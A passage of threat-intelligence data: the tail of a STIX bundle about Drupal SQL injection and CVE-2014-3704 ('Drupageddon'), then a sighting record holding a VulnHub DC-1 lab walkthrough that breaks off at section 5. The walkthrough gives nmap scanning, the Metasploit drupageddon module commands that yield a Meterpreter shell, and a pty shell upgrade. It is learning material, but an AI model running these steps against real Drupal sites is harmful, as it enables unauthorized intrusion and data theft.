\"2.1\",\n      \"created_by_ref\": \"identity--17d3dc12-f291-41e5-a0a3-e8b3f450b92e\",\n      \"external_references\": [\n        {\n          \"url\": \"https://www.cve.org/CVERecord?id=CVE-2025-30406\",\n          \"external_id\": \"CVE-2025-30406\",\n          \"source_name\": \"cve\"\n        }\n      ]\n    }\n  ]\n}\n\n\n{\n    \"type\": \"bundle\",\n    \"id\": \"bundle--865c7574-60a0-4f3b-8f83-73879f641d69\",\n    \"objects\": [\n        {\n            \"type\": \"identity\",\n            \"spec_version\": \"2.1\",\n            \"id\": \"identity--a1b2c3d4-e5f6-4a5b-8c9d-0e1f2a3b4c5d\",\n            \"created\": \"2026-09-17T14:55:51.505342Z\",\n            \"modified\": \"2026-09-17T14:55:51.505342Z\",\n            \"name\": \"ThreatCluster\",\n            \"description\": \"Automated threat intelligence aggregation and clustering platform\",\n            \"identity_class\": \"organization\",\n            \"sectors\": [\n                \"technology\"\n            ],\n            \"contact_information\": \"https://threatcluster.io\"\n        },\n        {\n            \"type\": \"attack-pattern\",\n            \"spec_version\": \"2.1\",\n            \"id\": \"attack-pattern--06e64cc6-003a-5fb8-ac6a-bac4778c2f78\",\n            \"created_by_ref\": \"identity--a1b2c3d4-e5f6-4a5b-8c9d-0e1f2a3b4c5d\",\n            \"created\": \"2026-09-17T14:55:51.506427Z\",\n            \"modified\": \"2026-09-17T14:55:51.506427Z\",\n            \"name\": \"Sql Injection\",\n            \"object_marking_refs\": [\n                \"marking-definition--613f2e26-407d-48c7-9eca-b8e91df99dc9\"\n            ]\n        },\n        {\n            \"type\": \"vulnerability\",\n            \"spec_version\": \"2.1\",\n            \"id\": \"vulnerability--d4dd3367-e862-54dd-928a-f388e5c85e40\",\n            \"created_by_ref\": \"identity--a1b2c3d4-e5f6-4a5b-8c9d-0e1f2a3b4c5d\",\n            \"created\": \"2026-09-17T14:55:51.507109Z\",\n            \"modified\": \"2026-09-17T14:55:51.507109Z\",\n            \"name\": \"CVE-2010-2075\",\n            \"external_references\": [\n                {\n                    \"source_name\": \"cve\",\n                    \"url\": \"https://nvd.nist.gov/vuln/detail/CVE-2010-2075\",\n                    \"external_id\": \"CVE-2010-2075\"\n                }\n            ],\n            \"object_marking_refs\": [\n                \"marking-definition--613f2e26-407d-48c7-9eca-b8e91df99dc9\"\n            ]\n        },\n        {\n            \"type\": \"vulnerability\",\n            \"spec_version\": \"2.1\",\n            \"id\": \"vulnerability--b676f0de-e8ad-5025-b266-9339712f1df7\",\n            \"created_by_ref\": \"identity--a1b2c3d4-e5f6-4a5b-8c9d-0e1f2a3b4c5d\",\n            \"created\": \"2026-09-17T14:55:51.507473Z\",\n            \"modified\": \"2026-09-17T14:55:51.507473Z\",\n            \"name\": \"CVE-2014-3704\",\n            \"external_references\": [\n                {\n                    \"source_name\": \"cve\",\n                    \"url\": \"https://nvd.nist.gov/vuln/detail/CVE-2014-3704\",\n                    \"external_id\": \"CVE-2014-3704\"\n                }\n            ],\n            \"object_marking_refs\": [\n                \"marking-definition--613f2e26-407d-48c7-9eca-b8e91df99dc9\"\n            ]\n        },\n        {\n            \"type\": \"vulnerability\",\n            \"spec_version\": \"2.1\",\n            \"id\": \"vulnerability--874a5ee4-6794-51a3-8cb5-d6300404abd1\",\n            \"created_by_ref\": \"identity--a1b2c3d4-e5f6-4a5b-8c9d-0e1f2a3b4c5d\",\n            \"created\": \"2026-09-17T14:55:51.507716Z\",\n            \"modified\": \"2026-09-17T14:55:51.507716Z\",\n            \"name\": \"Drupageddon\",\n            \"object_marking_refs\": [\n                \"marking-definition--613f2e26-407d-48c7-9eca-b8e91df99dc9\"\n            ]\n        },\n        {\n            \"type\": \"tool\",\n            \"spec_version\": \"2.1\",\n            \"id\": \"tool--2a363e7c-c142-5444-9bcb-106836c86f5e\",\n            \"created_by_ref\": \"identity--a1b2c3d4-e5f6-4a5b-8c9d-0e1f2a3b4c5d\",\n            \"created\": \"2026-09-17T14:55:51.507988Z\",\n            \"modified\": \"2026-09-17T14:55:51.507988Z\",\n            \"name\": \"VMware\",\n            \"tool_types\": [\n                \"unknown\"\n            ],\n            \"object_marking_refs\": [\n                \"marking-definition--613f2e26-407d-48c7-9eca-b8e91df99dc9\"\n            ]\n        },\n        {\n            \"type\": \"tool\",\n            \"spec_version\": \"2.1\",\n            \"id\": \"tool--3c1d870f-0646-506e-9626-25461fe1d69d\",\n            \"created_by_ref\": \"identity--a1b2c3d4-e5f6-4a5b-8c9d-0e1f2a3b4c5d\",\n            \"created\": \"2026-09-17T14:55:51.508248Z\",\n            \"modified\": \"2026-09-17T14:55:51.508248Z\",\n            \"name\": \"Curl\",\n            \"tool_types\": [\n                \"unknown\"\n            ],\n            \"object_marking_refs\": [\n                \"marking-definition--613f2e26-407d-48c7-9eca-b8e91df99dc9\"\n            ]\n        },\n        {\n            \"type\": \"tool\",\n            \"spec_version\": \"2.1\",\n            \"id\": \"tool--99ac6ee6-6415-57f0-8743-583045c0bda7\",\n            \"created_by_ref\": \"identity--a1b2c3d4-e5f6-4a5b-8c9d-0e1f2a3b4c5d\",\n            \"created\": \"2026-09-17T14:55:51.508513Z\",\n            \"modified\": \"2026-09-17T14:55:51.508513Z\",\n            \"name\": \"Gobuster\",\n            \"tool_types\": [\n                \"unknown\"\n            ],\n            \"object_marking_refs\": [\n                \"marking-definition--613f2e26-407d-48c7-9eca-b8e91df99dc9\"\n            ]\n        },\n        {\n            \"type\": \"tool\",\n            \"spec_version\": \"2.1\",\n            \"id\": \"tool--13b952fe-ad59-5216-bcf5-7fda84a981c1\",\n            \"created_by_ref\": \"identity--a1b2c3d4-e5f6-4a5b-8c9d-0e1f2a3b4c5d\",\n            \"created\": \"2026-09-17T14:55:51.508762Z\",\n            \"modified\": \"2026-09-17T14:55:51.508762Z\",\n            \"name\": \"Metasploit\",\n            \"tool_types\": [\n                \"exploitation\"\n            ],\n            \"object_marking_refs\": [\n                \"marking-definition--613f2e26-407d-48c7-9eca-b8e91df99dc9\"\n            ]\n        },\n        {\n            \"type\": \"tool\",\n            \"spec_version\": \"2.1\",\n            \"id\": \"tool--39a89892-ed14-5808-9e97-a0d2a329d5f3\",\n            \"created_by_ref\": \"identity--a1b2c3d4-e5f6-4a5b-8c9d-0e1f2a3b4c5d\",\n            \"created\": \"2026-09-17T14:55:51.509002Z\",\n            \"modified\": \"2026-09-17T14:55:51.509002Z\",\n            \"name\": \"Msfconsole\",\n            \"tool_types\": [\n                \"unknown\"\n            ],\n            \"object_marking_refs\": [\n                \"marking-definition--613f2e26-407d-48c7-9eca-b8e91df99dc9\"\n            ]\n        },\n        {\n            \"type\": \"tool\",\n            \"spec_version\": \"2.1\",\n            \"id\": \"tool--6e0efbae-cfa1-59e2-85de-ff552d345e9f\",\n            \"created_by_ref\": \"identity--a1b2c3d4-e5f6-4a5b-8c9d-0e1f2a3b4c5d\",\n            \"created\": \"2026-09-17T14:55:51.509264Z\",\n            \"modified\": \"2026-09-17T14:55:51.509264Z\",\n            \"name\": \"Msfvenom\",\n            \"tool_types\": [\n                \"unknown\"\n            ],\n            \"object_marking_refs\": [\n                \"marking-definition--613f2e26-407d-48c7-9eca-b8e91df99dc9\"\n            ]\n        },\n        {\n            \"type\": \"tool\",\n            \"spec_version\": \"2.1\",\n            \"id\": \"tool--9f361cac-8efd-5267-9185-4e9b3973af4b\",\n            \"created_by_ref\": \"identity--a1b2c3d4-e5f6-4a5b-8c9d-0e1f2a3b4c5d\",\n            \"created\": \"2026-09-17T14:55:51.509489Z\",\n            \"modified\": \"2026-09-17T14:55:51.509489Z\",\n            \"name\": \"Nmap\",\n            \"tool_types\": [\n                \"information-gathering\"\n            ],\n            \"object_marking_refs\": [\n                \"marking-definition--613f2e26-407d-48c7-9eca-b8e91df99dc9\"\n            ]\n        },\n        {\n            \"type\": \"tool\",\n            \"spec_version\": \"2.1\",\n            \"id\": \"tool--2b73fcda-b127-5cf1-b0d6-6b9c4533c119\",\n            \"created_by_ref\": \"identity--a1b2c3d4-e5f6-4a5b-8c9d-0e1f2a3b4c5d\",\n            \"created\": \"2026-09-17T14:55:51.509867Z\",\n            \"modified\": \"2026-09-17T14:55:51.509867Z\",\n            \"name\": \"Openssl\",\n            \"tool_types\": [\n                \"unknown\"\n            ],\n            \"object_marking_refs\": [\n                \"marking-definition--613f2e26-407d-48c7-9eca-b8e91df99dc9\"\n            ]\n        },\n        {\n            \"type\": \"tool\",\n            \"spec_version\": \"2.1\",\n            \"id\": \"tool--249779c5-82b6-5a4b-8f23-c7d0a5f4467e\",\n            \"created_by_ref\": \"identity--a1b2c3d4-e5f6-4a5b-8c9d-0e1f2a3b4c5d\",\n            \"created\": \"2026-09-17T14:55:51.510218Z\",\n            \"modified\": \"2026-09-17T14:55:51.510218Z\",\n            \"name\": \"SCP\",\n            \"tool_types\": [\n                \"unknown\"\n            ],\n            \"object_marking_refs\": [\n                \"marking-definition--613f2e26-407d-48c7-9eca-b8e91df99dc9\"\n            ]\n        },\n        {\n            \"type\": \"tool\",\n            \"spec_version\": \"2.1\",\n            \"id\": \"tool--4d1f8a2f-f12d-5d8c-95c9-abd15ae81c99\",\n            \"created_by_ref\": \"identity--a1b2c3d4-e5f6-4a5b-8c9d-0e1f2a3b4c5d\",\n            \"created\": \"2026-09-17T14:55:51.510452Z\",\n            \"modified\": \"2026-09-17T14:55:51.510452Z\",\n            \"name\": \"Sed\",\n            \"tool_types\": [\n                \"unknown\"\n            ],\n            \"object_marking_refs\": [\n                \"marking-definition--613f2e26-407d-48c7-9eca-b8e91df99dc9\"\n            ]\n        },\n        {\n            \"type\": \"tool\",\n            \"spec_version\": \"2.1\",\n            \"id\": \"tool--83fade07-eaa2-5b09-8620-c78529c2a385\",\n            \"created_by_ref\": \"identity--a1b2c3d4-e5f6-4a5b-8c9d-0e1f2a3b4c5d\",\n            \"created\": \"2026-09-17T14:55:51.51073Z\",\n            \"modified\": \"2026-09-17T14:55:51.51073Z\",\n            \"name\": \"SSH\",\n            \"tool_types\": [\n                \"unknown\"\n            ],\n            \"object_marking_refs\": [\n                \"marking-definition--613f2e26-407d-48c7-9eca-b8e91df99dc9\"\n            ]\n        },\n        {\n            \"type\": \"report\",\n            \"spec_version\": \"2.1\",\n            \"id\": \"report--c2f033c4-3e56-5dd3-9326-2955160800e1\",\n            \"created_by_ref\": \"identity--a1b2c3d4-e5f6-4a5b-8c9d-0e1f2a3b4c5d\",\n            \"created\": \"2026-09-17T14:55:51.511222Z\",\n            \"modified\": \"2026-09-17T14:55:51.511222Z\",\n            \"name\": \"Critical SQL Injection Vulnerabilities in Drupal Exploited\",\n            \"description\": \"Recent penetration tests revealed multiple critical vulnerabilities in Drupal, specifically CVE-2014-3704, which allows remote code execution. The tests were conducted in a controlled lab environment, demonstrating exploitation methods including SQL injection and privilege escalation. The affected systems include Drupal 7.5, which was found to be vulnerable to 'Drupageddon', leading to a full database dump. Tools such as Metasploit and manual SQL injection techniques were employed during the tests. The exploitation resulted in unauthorized access to sensitive data, including plaintext passwords. Additionally, misconfigured SSH credentials were identified, further increasing the risk. The findings underscore the need for immediate remediation and security hardening for Drupal installations. Current status indicates that these vulnerabilities remain critical and require urgent attention from system administrators.\\n\\nKey Points:\\n\\u2022 CVE-2014-3704 allows remote code execution in Drupal 7.5.\\n\\u2022 Penetration tests demonstrated successful exploitation via SQL injection.\\n\\u2022 Immediate remediation is necessary to secure affected Drupal installations.\",\n            \"report_types\": [\n                \"threat-report\",\n                \"vulnerability\",\n                \"attack-pattern\"\n            ],\n            \"object_marking_refs\": [\n                \"marking-definition--613f2e26-407d-48c7-9eca-b8e91df99dc9\"\n            ],\n            \"published\": \"2026-09-16T16:14:51Z\",\n            \"object_refs\": [\n                \"attack-pattern--06e64cc6-003a-5fb8-ac6a-bac4778c2f78\",\n                \"vulnerability--d4dd3367-e862-54dd-928a-f388e5c85e40\",\n                \"vulnerability--b676f0de-e8ad-5025-b266-9339712f1df7\",\n                \"vulnerability--874a5ee4-6794-51a3-8cb5-d6300404abd1\",\n                \"tool--2a363e7c-c142-5444-9bcb-106836c86f5e\",\n                \"tool--3c1d870f-0646-506e-9626-25461fe1d69d\",\n                \"tool--99ac6ee6-6415-57f0-8743-583045c0bda7\",\n                \"tool--13b952fe-ad59-5216-bcf5-7fda84a981c1\",\n                \"tool--39a89892-ed14-5808-9e97-a0d2a329d5f3\",\n                \"tool--6e0efbae-cfa1-59e2-85de-ff552d345e9f\",\n                \"tool--9f361cac-8efd-5267-9185-4e9b3973af4b\",\n                \"tool--2b73fcda-b127-5cf1-b0d6-6b9c4533c119\",\n                \"tool--249779c5-82b6-5a4b-8f23-c7d0a5f4467e\",\n                \"tool--4d1f8a2f-f12d-5d8c-95c9-abd15ae81c99\",\n                \"tool--83fade07-eaa2-5b09-8620-c78529c2a385\"\n            ],\n            \"labels\": [\n                \"drupal\",\n                \"penetration\",\n                \"drupal-penetration-testing\",\n                \"exploit\",\n                \"injection\",\n                \"complete\",\n                \"testing\"\n            ],\n            \"confidence\": 70,\n            \"external_references\": [\n                {\n                    \"source_name\": \"ThreatCluster\",\n                    \"url\": \"https://threatcluster.io/cluster/critical-sql-injection-vulnerabilities-in-drupal-exploited-31e826cb\",\n                    \"external_id\": \"8568345c-c910-447b-890d-f6ae31e826cb\"\n                },\n                {\n                    \"source_name\": \"Sploitus\",\n                    \"url\": \"https://sploitus.com/exploit?id=AD4457C9-F24C-5AC0-9548-721DEFF4A69B&utm_source=rss&utm_medium=rss\"\n                },\n                {\n                    \"source_name\": \"Sploitus\",\n                    \"url\": \"https://sploitus.com/exploit?id=C6D824DB-20E7-5DED-8E2A-668235BF6B65&utm_source=rss&utm_medium=rss\"\n                }\n            ]\n        },\n        {\n            \"type\": \"relationship\",\n            \"spec_version\": \"2.1\",\n            \"id\": \"relationship--9ab53ff3-a476-5410-b501-7915b5dece39\",\n            \"created_by_ref\": \"identity--a1b2c3d4-e5f6-4a5b-8c9d-0e1f2a3b4c5d\",\n            \"created\": \"2026-09-17T14:55:51.511655Z\",\n            \"modified\": \"2026-09-17T14:55:51.511655Z\",\n            \"relationship_type\": \"mentions\",\n            \"source_ref\": \"report--c2f033c4-3e56-5dd3-9326-2955160800e1\",\n            \"target_ref\": \"attack-pattern--06e64cc6-003a-5fb8-ac6a-bac4778c2f78\",\n            \"object_marking_refs\": [\n                \"marking-definition--613f2e26-407d-48c7-9eca-b8e91df99dc9\"\n            ]\n        },\n        {\n            \"type\": \"relationship\",\n            \"spec_version\": \"2.1\",\n            \"id\": \"relationship--15097aca-02e1-52bb-ad5c-7b51bc335f95\",\n            \"created_by_ref\": \"identity--a1b2c3d4-e5f6-4a5b-8c9d-0e1f2a3b4c5d\",\n            \"created\": \"2026-09-17T14:55:51.511954Z\",\n            \"modified\": \"2026-09-17T14:55:51.511954Z\",\n            \"relationship_type\": \"mentions\",\n            \"source_ref\": \"report--c2f033c4-3e56-5dd3-9326-2955160800e1\",\n            \"target_ref\": \"vulnerability--d4dd3367-e862-54dd-928a-f388e5c85e40\",\n            \"object_marking_refs\": [\n                \"marking-definition--613f2e26-407d-48c7-9eca-b8e91df99dc9\"\n            ]\n        },\n        {\n            \"type\": \"relationship\",\n            \"spec_version\": \"2.1\",\n            \"id\": \"relationship--0cadb32a-2b6f-50e0-9dd5-f4bf26337b09\",\n            \"created_by_ref\": \"identity--a1b2c3d4-e5f6-4a5b-8c9d-0e1f2a3b4c5d\",\n            \"created\": \"2026-09-17T14:55:51.51285Z\",\n            \"modified\": \"2026-09-17T14:55:51.51285Z\",\n            \"relationship_type\": \"mentions\",\n            \"source_ref\": \"report--c2f033c4-3e56-5dd3-9326-2955160800e1\",\n            \"target_ref\": \"vulnerability--b676f0de-e8ad-5025-b266-9339712f1df7\",\n            \"object_marking_refs\": [\n                \"marking-definition--613f2e26-407d-48c7-9eca-b8e91df99dc9\"\n            ]\n        },\n        {\n            \"type\": \"relationship\",\n            \"spec_version\": \"2.1\",\n            \"id\": \"relationship--df875b78-933a-5eb6-8839-ca7794af0198\",\n            \"created_by_ref\": \"identity--a1b2c3d4-e5f6-4a5b-8c9d-0e1f2a3b4c5d\",\n            \"created\": \"2026-09-17T14:55:51.513186Z\",\n            \"modified\": \"2026-09-17T14:55:51.513186Z\",\n            \"relationship_type\": \"mentions\",\n            \"source_ref\": \"report--c2f033c4-3e56-5dd3-9326-2955160800e1\",\n            \"target_ref\": \"vulnerability--874a5ee4-6794-51a3-8cb5-d6300404abd1\",\n            \"object_marking_refs\": [\n                \"marking-definition--613f2e26-407d-48c7-9eca-b8e91df99dc9\"\n            ]\n        },\n        {\n            \"type\": \"relationship\",\n            \"spec_version\": \"2.1\",\n            \"id\": \"relationship--2f22d159-7d7a-5d7a-85e1-615634583321\",\n            \"created_by_ref\": \"identity--a1b2c3d4-e5f6-4a5b-8c9d-0e1f2a3b4c5d\",\n            \"created\": \"2026-09-17T14:55:51.513524Z\",\n            \"modified\": \"2026-09-17T14:55:51.513524Z\",\n            \"relationship_type\": \"mentions\",\n            \"source_ref\": \"report--c2f033c4-3e56-5dd3-9326-2955160800e1\",\n            \"target_ref\": \"tool--2a363e7c-c142-5444-9bcb-106836c86f5e\",\n            \"object_marking_refs\": [\n                \"marking-definition--613f2e26-407d-48c7-9eca-b8e91df99dc9\"\n            ]\n        },\n        {\n            \"type\": \"relationship\",\n            \"spec_version\": \"2.1\",\n            \"id\": \"relationship--a6f76931-818e-557b-bb05-d5d7e3af721c\",\n            \"created_by_ref\": \"identity--a1b2c3d4-e5f6-4a5b-8c9d-0e1f2a3b4c5d\",\n            \"created\": \"2026-09-17T14:55:51.513866Z\",\n            \"modified\": \"2026-09-17T14:55:51.513866Z\",\n            \"relationship_type\": \"mentions\",\n            \"source_ref\": \"report--c2f033c4-3e56-5dd3-9326-2955160800e1\",\n            \"target_ref\": \"tool--3c1d870f-0646-506e-9626-25461fe1d69d\",\n            \"object_marking_refs\": [\n                \"marking-definition--613f2e26-407d-48c7-9eca-b8e91df99dc9\"\n            ]\n        },\n        {\n            \"type\": \"relationship\",\n            \"spec_version\": \"2.1\",\n            \"id\": \"relationship--e453bdb1-db68-5652-a9a3-34a8ba02c866\",\n            \"created_by_ref\": \"identity--a1b2c3d4-e5f6-4a5b-8c9d-0e1f2a3b4c5d\",\n            \"created\": \"2026-09-17T14:55:51.514325Z\",\n            \"modified\": \"2026-09-17T14:55:51.514325Z\",\n            \"relationship_type\": \"mentions\",\n            \"source_ref\": \"report--c2f033c4-3e56-5dd3-9326-2955160800e1\",\n            \"target_ref\": \"tool--99ac6ee6-6415-57f0-8743-583045c0bda7\",\n            \"object_marking_refs\": [\n                \"marking-definition--613f2e26-407d-48c7-9eca-b8e91df99dc9\"\n            ]\n        },\n        {\n            \"type\": \"relationship\",\n            \"spec_version\": \"2.1\",\n            \"id\": \"relationship--e7a4703a-0df9-5733-bbd9-f406b2d036b1\",\n            \"created_by_ref\": \"identity--a1b2c3d4-e5f6-4a5b-8c9d-0e1f2a3b4c5d\",\n            \"created\": \"2026-09-17T14:55:51.514755Z\",\n            \"modified\": \"2026-09-17T14:55:51.514755Z\",\n            \"relationship_type\": \"mentions\",\n            \"source_ref\": \"report--c2f033c4-3e56-5dd3-9326-2955160800e1\",\n            \"target_ref\": \"tool--13b952fe-ad59-5216-bcf5-7fda84a981c1\",\n            \"object_marking_refs\": [\n                \"marking-definition--613f2e26-407d-48c7-9eca-b8e91df99dc9\"\n            ]\n        },\n        {\n            \"type\": \"relationship\",\n            \"spec_version\": \"2.1\",\n            \"id\": \"relationship--8e5e6749-0b85-53a0-b25d-248fca2f8641\",\n            \"created_by_ref\": \"identity--a1b2c3d4-e5f6-4a5b-8c9d-0e1f2a3b4c5d\",\n            \"created\": \"2026-09-17T14:55:51.515046Z\",\n            \"modified\": \"2026-09-17T14:55:51.515046Z\",\n            \"relationship_type\": \"mentions\",\n            \"source_ref\": \"report--c2f033c4-3e56-5dd3-9326-2955160800e1\",\n            \"target_ref\": \"tool--39a89892-ed14-5808-9e97-a0d2a329d5f3\",\n            \"object_marking_refs\": [\n                \"marking-definition--613f2e26-407d-48c7-9eca-b8e91df99dc9\"\n            ]\n        },\n        {\n            \"type\": \"relationship\",\n            \"spec_version\": \"2.1\",\n            \"id\": \"relationship--209b01e1-9f85-5939-ad30-fc87cd955b75\",\n            \"created_by_ref\": \"identity--a1b2c3d4-e5f6-4a5b-8c9d-0e1f2a3b4c5d\",\n            \"created\": \"2026-09-17T14:55:51.515418Z\",\n            \"modified\": \"2026-09-17T14:55:51.515418Z\",\n            \"relationship_type\": \"mentions\",\n            \"source_ref\": \"report--c2f033c4-3e56-5dd3-9326-2955160800e1\",\n            \"target_ref\": \"tool--6e0efbae-cfa1-59e2-85de-ff552d345e9f\",\n            \"object_marking_refs\": [\n                \"marking-definition--613f2e26-407d-48c7-9eca-b8e91df99dc9\"\n            ]\n        },\n        {\n            \"type\": \"relationship\",\n            \"spec_version\": \"2.1\",\n            \"id\": \"relationship--a10b623d-9e68-537d-b4da-025ca69929e3\",\n            \"created_by_ref\": \"identity--a1b2c3d4-e5f6-4a5b-8c9d-0e1f2a3b4c5d\",\n            \"created\": \"2026-09-17T14:55:51.515767Z\",\n            \"modified\": \"2026-09-17T14:55:51.515767Z\",\n            \"relationship_type\": \"mentions\",\n            \"source_ref\": \"report--c2f033c4-3e56-5dd3-9326-2955160800e1\",\n            \"target_ref\": \"tool--9f361cac-8efd-5267-9185-4e9b3973af4b\",\n            \"object_marking_refs\": [\n                \"marking-definition--613f2e26-407d-48c7-9eca-b8e91df99dc9\"\n            ]\n        },\n        {\n            \"type\": \"relationship\",\n            \"spec_version\": \"2.1\",\n            \"id\": \"relationship--359cb62e-bee1-5c4f-8810-a0a65cebbeeb\",\n            \"created_by_ref\": \"identity--a1b2c3d4-e5f6-4a5b-8c9d-0e1f2a3b4c5d\",\n            \"created\": \"2026-09-17T14:55:51.516082Z\",\n            \"modified\": \"2026-09-17T14:55:51.516082Z\",\n            \"relationship_type\": \"mentions\",\n            \"source_ref\": \"report--c2f033c4-3e56-5dd3-9326-2955160800e1\",\n            \"target_ref\": \"tool--2b73fcda-b127-5cf1-b0d6-6b9c4533c119\",\n            \"object_marking_refs\": [\n                \"marking-definition--613f2e26-407d-48c7-9eca-b8e91df99dc9\"\n            ]\n        },\n        {\n            \"type\": \"relationship\",\n            \"spec_version\": \"2.1\",\n            \"id\": \"relationship--e9ad5928-96a2-5eae-a4f4-bcda99f54803\",\n            \"created_by_ref\": \"identity--a1b2c3d4-e5f6-4a5b-8c9d-0e1f2a3b4c5d\",\n            \"created\": \"2026-09-17T14:55:51.516432Z\",\n            \"modified\": \"2026-09-17T14:55:51.516432Z\",\n            \"relationship_type\": \"mentions\",\n            \"source_ref\": \"report--c2f033c4-3e56-5dd3-9326-2955160800e1\",\n            \"target_ref\": \"tool--249779c5-82b6-5a4b-8f23-c7d0a5f4467e\",\n            \"object_marking_refs\": [\n                \"marking-definition--613f2e26-407d-48c7-9eca-b8e91df99dc9\"\n            ]\n        },\n        {\n            \"type\": \"relationship\",\n            \"spec_version\": \"2.1\",\n            \"id\": \"relationship--39acb819-cd62-51f6-affa-189fbf0b960f\",\n            \"created_by_ref\": \"identity--a1b2c3d4-e5f6-4a5b-8c9d-0e1f2a3b4c5d\",\n            \"created\": \"2026-09-17T14:55:51.516805Z\",\n            \"modified\": \"2026-09-17T14:55:51.516805Z\",\n            \"relationship_type\": \"mentions\",\n            \"source_ref\": \"report--c2f033c4-3e56-5dd3-9326-2955160800e1\",\n            \"target_ref\": \"tool--4d1f8a2f-f12d-5d8c-95c9-abd15ae81c99\",\n            \"object_marking_refs\": [\n                \"marking-definition--613f2e26-407d-48c7-9eca-b8e91df99dc9\"\n            ]\n        },\n        {\n            \"type\": \"relationship\",\n            \"spec_version\": \"2.1\",\n            \"id\": \"relationship--7b08880e-a2e7-5fac-9d38-b95fabd41b32\",\n            \"created_by_ref\": \"identity--a1b2c3d4-e5f6-4a5b-8c9d-0e1f2a3b4c5d\",\n            \"created\": \"2026-09-17T14:55:51.517148Z\",\n            \"modified\": \"2026-09-17T14:55:51.517148Z\",\n            \"relationship_type\": \"mentions\",\n            \"source_ref\": \"report--c2f033c4-3e56-5dd3-9326-2955160800e1\",\n            \"target_ref\": \"tool--83fade07-eaa2-5b09-8620-c78529c2a385\",\n            \"object_marking_refs\": [\n                \"marking-definition--613f2e26-407d-48c7-9eca-b8e91df99dc9\"\n            ]\n        }\n    ]\n}", "url": "https://gist.github.com/m-q-t/6ab5b9f4cc22d934d8246fcf0b65812f"}, {"timestamp": "2026-09-24T15:22:04Z", "date_only": false, "value": "2026-09-24T15:22:04.000000Z", "kind": "sighting", "label": "Seen", "source": "https://gist.github.com/MrMostafaAbdelmonem/42ea24b15c726633e133de4c70bf34e1", "record": "CVE-2014-3704", "field": "creation_timestamp", "uuid": "fa171f95-072f-473f-b4de-c475160a801b", "content": "# VulnHub Machine Walkthrough: DC-1\n\n**Target Machine:** DC-1 (VulnHub)\n**Difficulty:** Beginner / Intermediate\n**OS:** Linux (Debian)\n**Author:** Mostafa Abdelmonem\n**Status:** Completed (Full Root Compromise)\n\n---\n\n## 1. Environment & Network Configuration\n\nThe testing environment was configured inside Oracle VirtualBox using isolated network adapters to enable direct communication between the attacker machine and the target while maintaining external internet access for tools and updates.\n\n### Network Adapters Configuration:\n* **Attacker Machine (Kali Linux):**\n  * **Adapter 1 (Host-Only):** `192.168.56.101` (Internal Subnet for Target Access)\n  * **Adapter 2 (NAT):** `10.0.3.15` (External Internet Access)\n* **Target Machine (DC-1):**\n  * **Adapter 1 (Host-Only):** `192.168.56.102`\n\n### Host Discovery\nPerformed active host discovery within the internal `192.168.56.0/24` subnet using `netdiscover`:\n\n```bash\nsudo netdiscover -r 192.168.56.0/24\n```\n\n* **Discovered Target IP:** `192.168.56.102`\n\n---\n\n## 2. Reconnaissance & Enumeration\n\n### A. Full TCP Port Scanning (Nmap)\n\nExecuted an aggressive, full-port Nmap scan against the target to enumerate open ports, running services, and version information:\n\n```bash\nnmap -sV -A -Pn -p- 192.168.56.102\n```\n\n#### Nmap Flags Analysis:\n\n* `-p-`: Scans all 65,535 TCP ports to ensure non-standard services are identified.\n* `-sV`: Detects service names and precise version numbers to highlight outdated software.\n* `-A`: Aggressive scan mode combining OS detection, script scanning (`-sC`), and traceroute.\n* `-Pn`: Disables host discovery ICMP checks to accelerate port scanning.\n\n#### Scan Results:\n\n```text\nPORT      STATE SERVICE VERSION\n22/tcp    open  ssh     OpenSSH 6.0p1 Debian 4+deb7u7\n80/tcp    open  http    Apache httpd 2.2.22 ((Debian))\n| http-robots.txt: 36 disallowed entries\n| /includes/ /misc/ /modules/ /profiles/ /scripts/\n| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt\n| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt\n|_/LICENSE.txt /MAINTAINERS.txt\n|_http-server-header: Apache/2.2.22 (Debian)\n|_http-generator: Drupal 7 (http://drupal.org)\n111/tcp   open  rpcbind 2-4 (RPC #100000)\n42203/tcp open  status  1 (RPC #100024)\n```\n\n### B. Web Application Reconnaissance (Port 80)\n\n* **Web Server & CMS:** Apache 2.2.22 running **Drupal 7** Content Management System (CMS).\n* **Vulnerability Context:** Drupal 7 is a legacy CMS framework known for critical Remote Code Execution (RCE) flaws, the most notable being CVE-2014-3704 (\"Drupageddon\").\n* **Directory Enumeration:** Inspecting `robots.txt` and executing `gobuster` revealed sensitive endpoints including `/admin` and `/administrator`.\n\n---\n\n## 3. Initial Access & Exploitation\n\n### A. Exploiting Drupal 7 via Metasploit (Drupageddon)\n\nLeveraging the legacy Drupal 7 application, the **Drupageddon** exploit (CVE-2014-3704) was selected within Metasploit (`msfconsole`).\n\n**How the exploit actually works (not just \"run and pray\"):**\nDrupal 7's database API failed to properly sanitize array-based parameters coming from user input (specifically in the `expand_arguments()` function). Drupal's REST/form parameter parser lets an attacker submit an array where a scalar value was expected. Because Drupal built raw SQL query fragments from array *keys* without sanitizing them, an attacker could inject arbitrary SQL through a crafted field name \u2014 no valid session or authentication needed. This SQL injection was then chained to **insert a fake user account with administrator privileges directly into the `users` table**, and in the RCE variant, to plant executable PHP inside the database that gets rendered/executed by Drupal, giving code execution as the web server user. That's the \"SQLi to RCE\" chain in one sentence: inject SQL \u2192 write a malicious admin/PHP payload into Drupal's own storage \u2192 Drupal itself executes it.\n\n1. Launched Metasploit and selected the module:\n```bash\nmsfconsole\nuse exploit/multi/http/drupal_drupageddon\n```\n\n2. Configured target parameters and listener address:\n```bash\nset RHOSTS 192.168.56.102\nset LHOST 192.168.56.101\nexploit\n```\n\n3. **Result:** The exploit executed successfully, returning an active **Meterpreter** session.\n\n### B. Spawning an Interactive TTY Shell\n\nAfter dropping into a raw system command shell (`shell`), the session was non-interactive. The terminal was upgraded using Python's built-in `pty` module:\n\n```bash\npython -c 'import pty; pty.spawn(\"/bin/bash\")'\n```\n\n#### Command Execution Result:\n\n```text\nwww-data@DC-1:/var/www$\n```\n\n* **Current User Context:** `www-data` (Low-privileged web server account)\n* **Working Directory:** `/var/www`\n\n---\n\n## 4. Local Enumeration & Flag Recovery\n\n### Flag 1\n\nListing the web root directory (`/var/www`) revealed `flag1.txt`:\n\n```bash\ncat /var/www/flag1.txt\n```\n\n> **Flag 1:** \"Every good CMS needs a config file - and so do you.\"\n\n#### Technical Context:\n\nThis flag is a direct pointer: in CMS architectures, application code and the database are strictly separated, and a plain-text config file bridges the two by storing database credentials. In Drupal specifically, this file is `sites/default/settings.php` \u2014 the flag text is nudging the tester toward hunting for exactly that file next.\n\n---\n\n## 5. Configuration Inspection & Flag 